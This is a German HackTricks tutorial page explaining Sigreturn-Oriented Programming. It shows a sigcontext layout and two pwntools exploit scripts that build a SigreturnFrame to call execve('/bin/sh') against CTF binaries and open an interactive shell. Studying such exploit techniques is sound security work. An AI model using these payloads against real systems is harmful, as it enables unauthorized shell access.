SROP - Sigreturn-Oriented Programming

Reading time: 6 minutes

tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

UnterstĂŒtzen Sie HackTricks

Grundinformationen

Sigreturn ist ein spezieller syscall, der hauptsĂ€chlich verwendet wird, um nach der AusfĂŒhrung eines Signalhandlers aufzurĂ€umen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal erhĂ€lt, pausiert es vorĂŒbergehend seine aktuelle Arbeit, um das Signal mit einem Signalhandler zu behandeln, einer speziellen Funktion, die dafĂŒr ausgelegt ist, mit Signalen umzugehen.

Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustand wiederherstellen, als ob nichts passiert wĂ€re. Hier kommt sigreturn ins Spiel. Es hilft dem Programm, vom Signalhandler zurĂŒckzukehren und stellt den Zustand des Programms wieder her, indem es den Stackrahmen (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufrĂ€umt, der vom Signalhandler verwendet wurde.

Der interessante Teil ist, wie sigreturn den Zustand des Programms wiederherstellt: Es geschieht, indem alle Registerwerte der CPU auf dem Stack gespeichert werden. Wenn das Signal nicht mehr blockiert ist, poppt sigreturn diese Werte vom Stack, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurĂŒckgesetzt werden. Dazu gehört das Stackzeigerregister (RSP), das auf die aktuelle Spitze des Stacks zeigt.

caution

Das Aufrufen des syscalls sigreturn aus einer ROP-Kette und das HinzufĂŒgen der Registerwerte, die wir im Stack laden möchten, ermöglicht es, alle Registerwerte zu steuern und daher beispielsweise den syscall execve mit /bin/sh aufzurufen.

Beachten Sie, wie dies eine Art von Ret2syscall wÀre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:

Ret2syscall

Wenn Sie neugierig sind, hier ist die sigcontext-Struktur, die im Stack gespeichert wird, um spÀter die Werte wiederherzustellen (Diagramm von hier):

+--------------------+--------------------+ | rt_sigeturn() | uc_flags | +--------------------+--------------------+ | &uc | uc_stack.ss_sp | +--------------------+--------------------+ | uc_stack.ss_flags | uc.stack.ss_size | +--------------------+--------------------+ | r8 | r9 | +--------------------+--------------------+ | r10 | r11 | +--------------------+--------------------+ | r12 | r13 | +--------------------+--------------------+ | r14 | r15 | +--------------------+--------------------+ | rdi | rsi | +--------------------+--------------------+ | rbp | rbx | +--------------------+--------------------+ | rdx | rax | +--------------------+--------------------+ | rcx | rsp | +--------------------+--------------------+ | rip | eflags | +--------------------+--------------------+ | cs / gs / fs | err | +--------------------+--------------------+ | trapno | oldmask (unused) | +--------------------+--------------------+ | cr2 (segfault addr)| &fpstate | +--------------------+--------------------+ | __reserved | sigmask | +--------------------+--------------------+

FĂŒr eine bessere ErklĂ€rung siehe auch:

- YouTube

Beispiel

Du kannst ein Beispiel hier finden, wo der Aufruf von signeturn ĂŒber ROP konstruiert wird (indem der Wert 0xf in rxa eingegeben wird), obwohl dies der endgĂŒltige Exploit von dort ist:

python
from pwn import * elf = context.binary = ELF('./vuln', checksec=False) p = process() BINSH = elf.address + 0x1250 POP_RAX = 0x41018 SYSCALL_RET = 0x41015 frame = SigreturnFrame() frame.rax = 0x3b # syscall number for execve frame.rdi = BINSH # pointer to /bin/sh frame.rsi = 0x0 # NULL frame.rdx = 0x0 # NULL frame.rip = SYSCALL_RET payload = b'A' * 8 payload += p64(POP_RAX) payload += p64(0xf) # 0xf is the number of the syscall sigreturn payload += p64(SYSCALL_RET) payload += bytes(frame) p.sendline(payload) p.interactive()

ÜberprĂŒfen Sie auch den Exploit von hier, wo die BinĂ€rdatei bereits sigreturn aufgerufen hat und es daher nicht erforderlich ist, dies mit einem ROP zu erstellen:

python
from pwn import * # Establish the target target = process("./small_boi") #gdb.attach(target, gdbscript = 'b *0x40017c') #target = remote("pwn.chal.csaw.io", 1002) # Establish the target architecture context.arch = "amd64" # Establish the address of the sigreturn function sigreturn = p64(0x40017c) # Start making our sigreturn frame frame = SigreturnFrame() frame.rip = 0x400185 # Syscall instruction frame.rax = 59 # execve syscall frame.rdi = 0x4001ca # Address of "/bin/sh" frame.rsi = 0x0 # NULL frame.rdx = 0x0 # NULL payload = "0"*0x28 # Offset to return address payload += sigreturn # Function with sigreturn payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive()

Weitere Beispiele & Referenzen

tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

UnterstĂŒtzen Sie HackTricks